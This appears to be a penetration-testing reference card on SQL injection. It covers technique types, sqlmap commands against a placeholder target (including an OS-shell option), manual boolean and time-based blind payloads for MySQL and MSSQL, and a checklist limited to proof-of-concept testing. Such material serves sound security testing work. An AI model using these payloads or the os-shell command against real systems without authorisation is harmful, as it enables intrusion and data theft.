SQL Injection Exploitation

SQL Injection Exploitation

Exploiting SQL injection vulnerabilities — from detection through UNION, error-based, blind (boolean/time-based), out-of-band, and automated exploitation with sqlmap.

When to Use

• Detecting and exploiting SQL injection in web apps
• Extracting database information via SQLi
• Bypassing WAF/IPS filters for SQL injection
• Manual and automated SQL injection testing

SQLi Techniques

SQLI_TYPES = {
    'in_band_union': 'UNION SELECT to retrieve data in same response — simplest',
    'in_band_error': 'Extract data via error messages (GROUP BY, CONVERT, XPATH)',
    'blind_boolean': 'Infer data from TRUE/FALSE responses — slower but reliable',
    'blind_time': 'Infer data from response delays (SLEEP, WAITFOR DELAY, BENCHMARK)',
    'out_of_band': 'Extract data via DNS/HTTP to attacker-controlled server',
}

# sqlmap automation
SQLMAP_EXAMPLES = {
    'basic': "sqlmap -u 'https://target.com/page?id=1' --batch",
    'with_cookie': "sqlmap -u 'https://target.com/page?id=1' --cookie='session=abc' --batch",
    'os_shell': "sqlmap -u 'https://target.com/page?id=1' --os-shell",
    'dbs': "sqlmap -u 'https://target.com/page?id=1' --dbs --batch",
}

# Manual blind SQLi
BLIND_SQLI = {
    'boolean': "' OR 1=1-- - (true), ' OR 1=2-- - (false)",
    'time_mysql': "' OR IF(SUBSTRING((SELECT database()),1,1)='a',SLEEP(3),0)-- -",
    'time_mssql': "'; IF (ASCII(SUBSTRING(@@version,1,1))>50) WAITFOR DELAY '0:0:5'--",
}

Verification Checklist

• Injection point confirmed (error-based, blind, or time-based)
• Database type identified (MySQL, MSSQL, PostgreSQL, Oracle, SQLite)
• Current user and permissions determined
• Database contents enumerated (tables, columns, data)
• sqlmap used for automated extraction (if applicable)
• WAF/IDS bypasses attempted (comment injection, case variation, encoding)
• Data extracted limited to proof-of-concept only
• No destructive operations (INSERT, UPDATE, DELETE, DROP)
• Findings documented with request/response evidence